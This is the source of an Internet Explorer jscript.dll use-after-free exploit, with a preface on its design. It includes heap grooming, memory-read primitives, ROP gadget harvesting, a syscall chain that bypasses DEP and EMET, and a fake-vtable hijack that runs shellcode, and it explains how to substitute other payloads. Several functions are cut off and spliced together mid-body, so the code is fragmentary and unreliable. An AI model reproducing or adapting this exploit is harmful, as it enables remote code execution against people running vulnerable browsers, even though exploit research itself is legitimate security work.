This is a 32-bit re-creation of CVE-2020-067, a vulnerability in the legacy
Javascript engine (jscript.dll) in Windows. It was used in historic versions
of Internet Explorer but its load/usage can still be coerced (and thus exploited)
in all versions of IE up to 11.
A high quality description of this exploit can be found on F-Secure's blog at:
https://labs.f-secure.com/blog/internet-exploiter-understanding-vulnerabilities-in-internet-explorer/
The original public 64-bit variation of this exploit was written by maxspl0it
and can be found at https://github.com/maxpl0it/CVE-2020-0674-Exploit
Maxspl0it's variation of this exploit works on IE 8-11 64-bit. It is using a
ret2libc style attack with a RIP hijack to NTDLL.DLL!NtContinue which then
calls KERNEL32.DLL!WinExec. Since it is on 64-bit (the first 4 parameters are in
RCX, RDX, R8 and R9) no stack pivot is needed, and this drastically simplifies
the creation of the exploit (especially as it relates to exploit mitigation
protections such as EMET).
My motivation in creating my own variation of this exploit was threefold:
1. I wanted to write an exploit that woulld work on 32-bit (as this is the
default IE used on Windows 7 and 8.1 and thus makes the exploit more practical).
2. I wanted it to bypass the advanced exploit mitigation features such as stack
pivot protection, EAF+, SimExec and CallerCheck (EMET 5.5 in Windows 7 but built
into Windows Defender Exploit Guard today).
3. I wanted it to execute a shellcode payload rather than simply a command via
a ret2libc style sttack.
The first point was a relatively easy one to deal with. The sizes and offsets of
various internal Windows and Javascript structures had to be adjusted for 32-bit.
The other two points significantly complicated the exploit beyond what is found in
maxspl0it's version of the exploit: executing a payload as shellcode requires a
DEP bypass, which in turn requires a stack pivot. Stack pivots are perhaps the
most scrutinized part of a modern exploit attack chain targeted by the exploit
mitigations in EMET 5.5 and Windows Defender today. Furthermore, EAF+ prevents the
resolution of key DEP bypass APIs (such as in my case NtProtectVirtualMemory)
originating from within jscript.dll, which meant API resolution had to be done
via import instead.
Design
The UAF aspect of the exploit itself is best explored in the aforementioned F-Secure
blog, but in summary, the legacy JS engine contained a bug which would not track
variables passed as arguments to the "sort" method of an array. This meant that
GcBlock structures (which store the VAR structs underlying vars in JS) could be
freed by the garbage collector despite still containing active variables in the JS
script. From here, it was just a matter of re-claiming these freed GcBlocks and
manipulating the VAR struct underlying the saved untracked vars (into BSTR for
arbitrary read attacks for example).
In both my variation and maxspl0it's the instruction pointer hijack is performed by
manipulating the VAR struct underlying one of these untracked vars to point to
a class object in another region of memory we control with the UAF re-claim. The first
field of this class object will be the vtable pointer, and thus we can place a pointer
at a method offset of our choice within this fake vtable. In this case, the "typeof"
method is used, and when the typeof the var is queried through the JS script it will
trigger execution of a pointer of our choice.
In my variation, this hijack takes the instruction pointer to a XCHG EAX, ESP gadget
within MSVCRT.DLL. There are only three gadgets in the ROP chain which need to be
scanned for in memory in order to dynamically generate the chain (this exploit does
not rely on static offsets within MSVCRT.DLL and should be reliable on any version of
this module):
1. XCHG EAX, ESP ; RET
2. POP EAX ; RET
3. ROPNOP (derived from either of the previous gadgets by doing a +1 on their address)
The goal of the ROP chain is to make a call to NtProtectVirtualMemory and change
the protections of the shellcode (stored within a BSTR) in memory from +RW to +RWX.
The issue with this, is that EMET hooks NtProtectVirtualMemory and will detect the
stack pivot. To solve this issue, I designed a syscall ROP chain which manually
populates EAX with the NtProtectVirtualMemory syscall number and triggers the syscall
itself using an unhooked region withinh NTDLL.DLL.
Payload
The payload is a simple message box shellcode, the source of which can be found here:
https://github.com/forrest-orr/ExploitDev/blob/master/Shellcode/Projects/MessageBox/EAF/MessageBox32.asm
There is one very significant detail to this shellcode which needs to be replicated in any
other shellcode substituted into this exploit if it is going to bypass EMET: the
shellcode makes a stack pivot using the stack base pointer stored in the TEB. This is
essential, as any call (even indirectly such as in the initialization user32.dll does
before popping a MessageBoxA) to a sensitive API hooked by EMET (and there are many of these)
will detect the stack pivot performed by the ROP chain and throw a security alert. Furthermore
if your shellcode needs to resolve APIs from NTDLL.DLL or Kernel32.dll, you will have issues
with the EAF feature of EMET, which uses debug registers to detect read access to the
export address table of these modules from any non-image memory region (such as the private
+RWX memory region where the shellcode is stored).
function DebugLog(Message) {
if(EnableDebug) {
if(AlertOutput) {
alert(Message);
}
else {
console.log(Message); // In IE, console only works if devtools is open.
}
}
}
var UntrackedVarSet;
var VarSpray;
var VarSprayCount = 20000; // 200 GcBlocks
var NameListAnchors;
var NameListAnchorCount = 20000; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim
var SortDepth = 0;
var SortArray = new Array(); // Array to be "sorted" by glitched method
function GlitchedSort(untracked_1, untracked_2) { // goes to depth of 227 before freeing GcBlocks, which only happens once.
untracked_1 = VarSpray[SortDepth*2];
untracked_2 = VarSpray[SortDepth*2 + 1];
if(SortDepth > 150) {
VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks
CollectGarbage(); // Free the GcBlocks
UntrackedVarSet.push(untracked_1);
UntrackedVarSet.push(untracked_2);
return 0;
}
function NewUntrackedVarSet() {
SortDepth = 0;
VarSpray = new Array();
NameListAnchors = new Array();
UntrackedVarSet = new Array();
for(i = 0; i < NameListAnchorCount; i++) NameListAnchors[i] = new Object(); // Overlay must happen before var spray
for(i = 0; i < VarSprayCount; i++) VarSpray[i] = new Object();
CollectGarbage();
SortArray[0].sort(GlitchedSort); // Two untracked vars will be passed to this method by the JS engine
}
var AnchorObjectsBackup;
var LeakedAnchorIndex = -1;
var SizerPropName = Array(379).join('A');
var MutableVar;
function ReClaimIndexNameList(Value, PropertyName) {
CollectGarbage(); // Cleanup - note that removing this has not damaged stability of the exploit in any of my own tests and its removal significantly improved exploit performance (each arbitrary read is about twice as fast). I've left it here from maxspl0it's original version of the exploit to ensure stability.
AnchorObjectsBackup[LeakedAnchorIndex] = null; // Delete the anchor associated with the leaked NameList allocation
CollectGarbage(); // Free the leaked NameList
AnchorObjectsBackup[LeakedAnchorIndex] = new Object();
AnchorObjectsBackup[LeakedAnchorIndex][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size
AnchorObjectsBackup[LeakedAnchorIndex]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
AnchorObjectsBackup[LeakedAnchorIndex]["\u0003"] = 1;
AnchorObjectsBackup[LeakedAnchorIndex][PropertyName] = Value; // The mutable variable
ReadCount++;
}
function CreateVar32(Type, ObjPtr, NextVar) {
var Data = new Array(); // Every element of this array will be a WORD
Data.push(Type, 0x00, 0x00, 0x00, ObjPtr & 0xFFFF, (ObjPtr >> 16) & 0xFFFF, NextVar & 0xFFFF, (NextVar >> 16) & 0xFFFF);
return String.fromCharCode.apply(null, Data);
}
function LeakByte(Address) {
ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
return (MutableVar.length >> 15) & 0xff; // Shift to align and get the byte.
}
function LeakWord(Address) {
ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
return ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
}
function LeakDword(Address) {
ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimIndexNameList(0, CreateVar32(0x8, Address + 4, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
return LowWord + (HighWord << 16);
}
function LeakObjectAddress(ObjVarAddress, ObjVarValue) { // This function does not always work, there are some edge cases. For example if a BSTR is declared var A = "123"; it works fine. However, var A = "1"; A += "23"; resuls in multiple layers of VARs referencing VARs and this function will no longer get the actual BSTR address.
ReClaimIndexNameList(ObjVarValue, CreateVar32(0x8, ObjVarAddress + 8 + 2, 0)); // Skip +8 over Type field of VAR to object pointer field and +2 for BSTR length adjustment
var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimIndexNameList(ObjVarValue, CreateVar32(0x8, ObjVarAddress + 8 + 4, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) and +8 to skip over VAR Type
var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
return LeakDword((LowWord + (HighWord << 16)) + 8); // The VAR at the start of the VVAL has an object pointer that points to yet another VAR: this second one will have the actual address of the object in its object pointer field
}
////////
////////
// PE parsing/EAT and IAT resolution code
////////
function DiveModuleBase(Address) {
var Base = (Address & 0xFFFF0000) + 0x4e; // Offset of "This program cannot be run in DOS mode" in PE header.
if(ExportNameWord != 0) { // Special case: final WORD of name array is 0, consider this a match
CurrentNameWord = LeakWord(ModuleBase + (CurrentNameRva + (4 * TargetTableIndex)) + 2);
SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
BinRes = BinaryCmp(ExportNameWord, SanitizedCurrentNameWord);
DebugLog("Compaaring 0x" + ExportNameWord.toString(16) + " to sanitized 0x" + SanitizedCurrentNameWord.toString(16) + " result: " + BinRes.toString(10) + " at index " + TargetTableIndex.toString(10));
if(!BinRes) {
DebugLog("Matched!");
if((TargetTableIndex + 1) >= TargetExportNameTable.length) {
Ordinal = LeakWord(ModuleBase + OrdinalRvas + 2*CurrentIndex);
MainExport = (ModuleBase + LeakDword(ModuleBase + AddressRvas + 4*Ordinal));
return [ MainExport , CurrentIndex];
}
else {
DebugLog("Chunks are equal but not at final index, current is: " + TargetTableIndex.toString(10));
}
TargetTableIndex++;
}
else {
TargetTableIndex = 0;
break;
}
}
else {
if((TargetTableIndex + 1) >= TargetExportNameTable.length) {
Ordinal = LeakWord(ModuleBase + OrdinalRvas + (2 * CurrentIndex));
MainExport = (ModuleBase + LeakDword(ModuleBase + AddressRvas + (4 * Ordinal)));
return [ MainExport, CurrentIndex];
}
else {
alert("Fatal error during export lookup: target export name array contained a NULL byte not at the end of its final element");
}
}
}
else {
TargetTableIndex = 0;
break;
}
}
if(BinRes == 1) { // Target is greater than what it was compared to: reduce current index
if(MaxIndex == CurrentIndex) {
DebugLog("Failed to find export: index hit max");
break;
}
MaxIndex = CurrentIndex;
CurrentIndex = Math.floor((CurrentIndex + MinIndex) / 2);
}
else if (BinRes == -1) { // Target is less than what it was compared to: enhance current index
if(MinIndex == CurrentIndex) {
DebugLog("Failed to find export: index hit min");
break;
}
if(CurrentIndex == MaxIndex && CurrentIndex == MinIndex) {
DebugLog("Failed to find export: current, min and max indexes are all equal");
break;
}
}
}
return [0,0];
}
function CheckINTThunk(ModuleBase, INTThunkRva, TargetImportNameTable) {
var INTThunkValue = LeakDword(ModuleBase + INTThunkRva);
if(INTThunkValue == 0) {
return -1;
}
if((INTThunkValue & 0x80000000) == 0) { // Only parse non-orginal INT entries
var ImportNameAddress = (ModuleBase + INTThunkValue + 2); // The INT thunk is an RVA pointing at a IMAGE_IMPORT_BY_NAME struct. Skip the hint field in this struct to point directly to the ASCII import name.
function ResolveImport(ModuleBase, HintIndex, TargetModuleNameTable, TargetImportNameTable) {
var ExtractedAddresss = 0;
var FileHdr = LeakDword(ModuleBase + 0x3c);
var ImportDataDir = ModuleBase + FileHdr + 0x80; // Import data directory
var ImportRva = LeakDword(ImportDataDir);
var ImportSize = LeakDword(ImportDataDir + 0x4); // Get the size field of the import data dir
var CurrentNameDesc = ModuleBase + ImportRva;
while(ImportSize != 0) {
NameField = LeakDword(CurrentNameDesc + 0xc); // 0xc is the offset to the module name pointer
if(NameField != 0) {
if(StrcmpLeak(TargetModuleNameTable, ModuleBase + NameField)) {
// Found the target module by name. Walk its INT to check each name.
var HighIATIndex = (HintIndex + 1);
var LowIATIndex = (HintIndex - 1);
var BaseINTThunkRva = (LeakDword(CurrentNameDesc + 0x0));
var BaseIATThunkRva = (LeakDword(CurrentNameDesc + 0x10));
var ResolvedIATIndex = -1;
if(BaseINTThunkRva == 0) {
alert("INT is empty in target module");
}
// Start by checking the INT at the specified hint index
if(ExtractedAddresss != 0) {
DebugLog("Identified target import at IAT index " + ResolvedIATIndex.toString(10));
break;
}
}
ImportSize -= 0x14;
CurrentNameDesc += 0x14; // Next import descriptor in array
}
else {
break;
}
}
return ExtractedAddresss;
}
function ExtractBaseFromImports(ModuleBase, TargetModuleNameTable) { // Grab the first IAT entry of a function within the specified module
var ExtractedAddresss = 0;
var FileHdr = LeakDword(ModuleBase + 0x3c);
var ImportDataDir = ModuleBase + FileHdr + 0x80; // Import data directory
var ImportRva = LeakDword(ImportDataDir);
var ImportSize = LeakDword(ImportDataDir + 0x4); // Get the size field of the import data dir
var CurrentNameDesc = ModuleBase + ImportRva;
while(ImportSize != 0) {
NameField = LeakDword(CurrentNameDesc + 0xc); // 0xc is the offset to the module name pointer
if(NameField != 0) {
if(StrcmpLeak(TargetModuleNameTable, ModuleBase + NameField)) {
ThunkAddress = LeakDword(CurrentNameDesc + 0x10);
ExtractedAddresss = LeakDword(ModuleBase + ThunkAddress + 8); // +8 since __imp___C_specific_handler can cause issues when imported in some jscript instances
break;
}
ImportSize -= 0x14;
CurrentNameDesc += 0x14; // Next import descriptor in array
}
else {
break;
}
}
function HarvestGadget(HintExportAddress, MaxDelta, Data, DataMask, MagicOffset) {
var MaxHighOffset = (HintExportAddress + MagicOffset + MaxDelta);
var MinLowOffset = ((HintExportAddress + MagicOffset) - MaxDelta);
var LeakAddress = HintExportAddress + MagicOffset;
var LeakFunc = LeakDword; // In nthe event a 0x00FFFFFF mask is used, LeakDword will be used, but will still be filtered
var Offset = 0;
var LastMovEaxAddress = 0;
var ProxyStubAddress = 0;
var RetnScenarioOne = 0;
var RetnScenarioTwo = 0;
// Scan forward searching for 0xB8 opcode. Once one is found, scan forward until 0xC2 0x14 0x00 is found. Proxy stub address will be the address of the last 0xB8 opcode +5.
while(Offset < MaxOffset) {
var LeakAddress = ScanAddress + Offset;
var LeakedWord = LeakWord(LeakAddress);
var ByteOne = (LeakedWord & 0x00FF);
var ByteTwo = ((LeakedWord & 0xFF00) >> 8);
function ResolveGadgetSet(MsvcrtBase) { // Dynamically resolve gadget addresses via delta from export addresses - MSVCRT.DLL is used to harvest gadgets as its EAT is not protected by EAF/EAF+
var GadgetSetObj = new Object();
DebugLog("Dynamically resolving ROP gadget addresses from MSVCRT.DLL export address hints from base " + MsvcrtBase.toString(16));
// XCHG EAX, ESP; RET
// For Win7 x64 Wow64:
// __libm_sse2_log10:0x0008dc45 (+0x4f0) <- 0x0008e135 -> (+0x670) __libm_sse2_log10f:0x0008e7a5
// For Win8.1:
//__libm_sse2_log10:0x000a9b80 (+0x4e5) <- 0x000aa065 -> (+0x67b) __libm_sse2_log10f:0x000aa6e0
var FakeVtable = "";
var X = 0;
var Y = 0;
var PaddingArrayLen = FakeVtablePaddingSize / 4;
var TotalObjLen = ((FakeVtablePaddingSize + VtableSize) / 2);
var PaddingArray = [];
var SyscallNumber;
// NTSTATUS NtProtectVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect);
FakeVtable += ConvertDwordArrayToBytes([SyscallNumber]);
FakeVtable += ConvertDwordArrayToBytes([NtProtectAddress]);
FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.RopNop]); // Return address
FakeVtable += ConvertDwordArrayToBytes([0xFFFFFFFF]);
FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0x4]);
FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0x8]);
FakeVtable += ConvertDwordArrayToBytes([0x40]); // +RX (PAGE_EXECUTE_READ) causes problems due to the page alignment used by NtProtectVirtualMemory. The shellcode is unlikely to begin on a clean multiple of 0x1000, and similarly won't probably end on one either (although this attribute can be manipulated with padding). +RW data on the heap surrounding the shellcode may end up +RX and this causes crashes.
FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0xC]);
FakeVtable += ConvertDwordArrayToBytes([ShellcodeAddress]);
FakeVtable += ConvertDwordArrayToBytes([0x11111111]); // Shellcode will return to this pseudo-address
// Padding on the end of the vtable is not needed: both NtProtectVirtualMemory and the shellcode will be using memory below this address
function NullSanitizeWord(StrWord) {
var Sanitized = 0;
if(StrWord != 0) {
if((StrWord & 0x00FF) == 0) {
Sanitized = 0; // First byte is NULL, end of the string.
}
else {
Sanitized = StrWord;
}
}
return Sanitized;
}
function BinaryCmp(TargetNum, CmpNum) { // return -1 for TargetNum being greater, 0 for equal, 1 for CmpNum being greater
if(TargetNum == CmpNum) {
return 0;
}
function StrcmpLeak(StrDwordTable, LeakAddress) { // Compare two strings between an array of WORDs and a string at a memory address
var TargetTableIndex = 0;
while (TargetTableIndex < StrDwordTable.length) {
var LeakStrWord = LeakWord(LeakAddress + (4 * TargetTableIndex));
var SanitizedStrWord = NullSanitizeWord(LeakStrWord);
var TableWord = (StrDwordTable[TargetTableIndex] & 0x0000FFFF);
DebugLog("StrcmpLeak comparing 0x" + TableWord.toString(16) + " to 0x" + SanitizedStrWord.toString(16) + " original word " + LeakStrWord.toString(16));
if(TableWord == SanitizedStrWord) {
if((TargetTableIndex + 1) >= StrDwordTable.length) {
return true;
}
else {
DebugLog("Chunks are equal but not at final index, current is: " + TargetTableIndex.toString(10) + " DWORD array length is: " + StrDwordTable.length.toString(10));
}
////////
////////
// Primary high level exploit logic
////////
function Exploit() {
// Initialization
StartTimer();
for(i = 0; i < 310; i++) SortArray[i] = [0, 0]; // An array of arrays to be sorted by glitched sort method
var LFHBlocks = new Array();
// Trigger LFH for a size of 0x648
for(i = 0; i < 50; i++) {
Temp = new Object();
Temp[Array(379).join('A')] = 1; // Property name size of 0x17a (378) will produce an allocation of 0x648 bytes
LFHBlocks.push(Temp);
}
for(i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size
NameListAnchors[i]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
NameListAnchors[i]["\u0003"] = 1; // This ends up in the VVAL hash/name length to be type confused with an integer VAR
NameListAnchors[i]["C"] = i; // The address of this VVAL will be leaked
}
EndTimer("Infoleak VAR creation + re-claim");
// Leak final VVAL address from one of the NameLists
StartTimer();
AnchorObjectsBackup = NameListAnchors; // Prevent it from being freed and losing our leaked pointer
EndTimer("Anchor backup");
StartTimer();
EndTimer("Infoleak VAR scan");
DebugLog("leaked final VVAL address of " + LeakedVvalAddress.toString(16));
if(LeakedVvalAddress != 0) {
var PrimaryVvalPropName = "AA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding.
EndTimer("Anchor index VAR creation + re-claim");
StartTimer();
// Extract NameList anchor index through untracked var dereference to leaked VVAL prefix VAR
var LeakedVvalVar;
for(i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number") {
LeakedAnchorIndex = parseInt(UntrackedVarSet[i] + ""); // Attempting to access the untracked var without parseInt will fail ("null or not an object")
LeakedVvalVar = UntrackedVarSet[i]; // The + "" trick alone does not seeem to be enough to populate this with the actual value
break;
}
}
// Verify that the VAR within the leaked VVAL can be influenced by directly freeing/re-claiming the NameList associated with the leaked NameList anchor object (whose index is now known)
ReClaimIndexNameList(0x11, "A");
if(LeakedVvalVar + "" == 0x11) {
// Create the mutable variable which will be used throughout the remainder of the exploit
EndTimer("Anchor index VAR scan");
DebugLog("Leaked anchor object re-claim verification success");
var PrimaryVvalPropName = "AA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding.
for(i=0; i < 46; i++) {
PrimaryVvalPropName += CreateVar32(0x80, LeakedVvalAddress + 0x30, 0); // +0x30 is the offset to property name field of 32-bit VVAL struct
}
while(PrimaryVvalPropName.length < 0x17a) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to a length of 0x17a
// New set of untracked vars in freed GcBlock
StartTimer();
NewUntrackedVarSet();
// Re-claim with leaked VVAL name property address vars (this is the memory address of the mutable variable that will be created)
EndTimer("Mutable VAR reference scan");
DebugLog("Verified mutable variable modification via re-claim");
if(LeakByte(LeakedVvalAddress + 0x30) == 0x8) { // Change mutable var to a BSTR pointing at itself.
// Derive jscript.dll base from leaked Object vtable
DebugLog("Memory leak test successful");
StartTimer();
var DissectedObj = new Object();
var ObjectAddress = LeakObjectAddress(LeakedVvalAddress, DissectedObj);
var VtableAddress = LeakDword(ObjectAddress);
if(JScriptBase != 0) {
// Extract the first Kernel32.dll import from Jscript.dll IAT to dive for its base
EndTimer("JScriptBase base leak");
DebugLog("Leaked JScript base address: " + JScriptBase.toString(16));
StartTimer();
var Kernel32ImportX = ExtractBaseFromImports(JScriptBase, [0x4e52454b, 0x32334c45]);
if(Kernel32ImportX != 0) {
EndTimer("Kernel32 random import leak");
StartTimer();
var Kernel32Base = DiveModuleBase(Kernel32ImportX);
if(Kernel32Base != 0) {
EndTimer("Kernel32.dll base resolution");
DebugLog("Successfully resolved kernel32.dll base at 0x" + Kernel32Base.toString(16));
StartTimer();
// Obtain the address of NtProtoectVirtualMemry via the imports of Kernel32.dll (which always imported NtProtoectVirtualMemry from NTDLL.DLL). This can be expensive operation, thus a hint may be used to skip ahead to the correct IAT/INT index for NtProtoectVirtualMemry depending on the version of Kernel32.dll
var HintIndex = 141; // Windows 7 x64 - Wow64 Kernel32.dll 6.1.7601.17514 (win7sp1_rtm.101119-1850)
var NtProtectAddress = ResolveImport(Kernel32Base, HintIndex, [0x6c64746e, 0x6c642e6c], [0x7250744e, 0x6365746f]); // 'rPtN' 'ceto'
// Obtain a random MSVCRT.DLL import from Jscript.dll and use it to identify the base of MSVCRT.DLL: it is from MSVCRT.DLL that the ROP gadgets will be harvested
StartTimer();
var MsvcrtImportX = ExtractBaseFromImports(JScriptBase, [0x6376736d, 0x642e7472]);
var MsvcrtBase = DiveModuleBase(MsvcrtImportX);
EndTimer("MsvcrtBase base leak");
StartTimer();
var RopGadgetSet = ResolveGadgetSet(MsvcrtBase);
EndTimer("ROP gadget resolution");
if(RopGadgetSet != null) {
// NtProtoectVirtualMemry cannot/should not be used as the direct address for disabling DEP. EMET may have hooked it. Therefore, hunt for another syscall in NTDLL.DLL which has the same number of paraameters (same RETN value) as NtProtoectVirtualMemry and use it as a stub.
StartTimer();
var NtProtectProxyStubAddress = ResolveNtProtectProxyStub(NtProtectAddress, 0x100);
EndTimer("NtProtoectVirtualMemry proxy stub resolution");
if(NtProtectProxyStubAddress != 0) {
// Convert the shellcode from a DWORD array into a BSTR and leak its address in memory.
StartTimer();
var ShellcodeStr = TableToUnicode(Shellcode);
var ShellcodeLen = (ShellcodeStr.length * 2);
DebugLog("Shellcode length: 0x" + ShellcodeLen.toString(16));
ShellcodeStr = ShellcodeStr.substr(0, ShellcodeStr.length); // This trick is essential to ensure the "address of" primitive gets the actual address of the shellcode data and not another VAR in a chain of VARs (this happens when a VAR is appended to another repeaatedly as is the case here)
var ShellcodeAddress = LeakObjectAddress(LeakedVvalAddress, ShellcodeStr);
DebugLog("ShellcodeAddress address: " + ShellcodeAddress.toString(16));
// NtProtoectVirtualMemry has several parameters which are in/out pointers. Thus we must have a +RW region of memory whose contents we control and address we have leaked to carry these values.
// Create the fake vtable for the mutable var. The Typeof method of this vtable is what will be used to trigger the EIP hijack. Since the vtable serves as dual-role as both a vtable and an artificial stack (after the stack pivot) extra space/padding is used to accomodate this (NtProtectVirtualMemory itself will require this space for its stack usage)
var FakeVtablePaddingSize = 0x10000; // 64KB should be plenty to accomodate stack usage within NtProtectVirtualMemory and within shellcode (if it does not stack pivot on its own)
var FakeVtable = CreateFakeVtable(FakeVtablePaddingSize, 0x200, NtProtectProxyStubAddress, ShellcodeAddress, RopGadgetSet, WritableAddress); // Doing this in a separate function is crucial for the AddressOf primitive to work properly. Concatenated vars in the same scope end up as a linked list of VARs
FakeVtable = FakeVtable.substr(0, FakeVtable.length); // Nice trick to fix the AddressOf primitive. VARs created with multiple concats of other VARs end up as a linked list of VARs
// Re-claim NameList with mutable var set to region AFTER its own VAR in property name (as type 0x81). At this location in property name (+8 because of Type from generated VAR) the "object pointer" of the additional VAR (the fake vtable address) should be pointing at fake vtable BSTR +4 (to skip length
var FakeVtableAddress = (LeakObjectAddress(LeakedVvalAddress, FakeVtable) + FakeVtablePaddingSize);
EndTimer("Building shellcode, fake vtable, writable objects");
DebugLog("Fake vtable address: " + FakeVtableAddress.toString(16));
ReClaimIndexNameList(0, CreateVar32(0x81, LeakedVvalAddress + 0x30 + 16 + 8, 0) + CreateVar32(0, FakeVtableAddress, 0)); // VAR in VVAL will be a type 0x81 (not type 0x80) VAR. The 0x81 VAR pointer goes to the allocated (Array) object, the first 4 bytes of which are a vtable within jscript.dll
DebugLog("Executing stack pivot for DEP bypass at " + RopGadgetSet.StackPivot.toString(16));
typeof MutableVar;
DebugLog("Clean return from shellcode");
}
else {
DebugLog("Failed to resolve NtProtoectVirtualMemry proxy stub via opcode scan");
}
}
else {
DebugLog("Fatal error: unable to dynamically resolve ROP gadget addresses");
}
}
else {
DebugLog("Failed to resolve NtProtoectVirtualMemry from kernel32.dll IAT");
}
}
else {
DebugLog("Failed to identify Kernel32.dll base address via import " + Kernel32ImportX.toString(16));
}
}
else {
DebugLog("Failed to identify raandom kernel32.dll import address from JScript.dll IAT");
}
}
else {
DebugLog("Failed to leak JScript.dll base address");
}
}
else {
DebugLog("Memory leak test failed");
}
}
else {
DebugLog("Failed to verify mutable variable modification via re-claim");
}
}
else {
DebugLog("Failed to extract final VVAL index via re-claim");
}
}
else {
DebugLog("Leaked anchor object type confusion re-claim failed");
}
}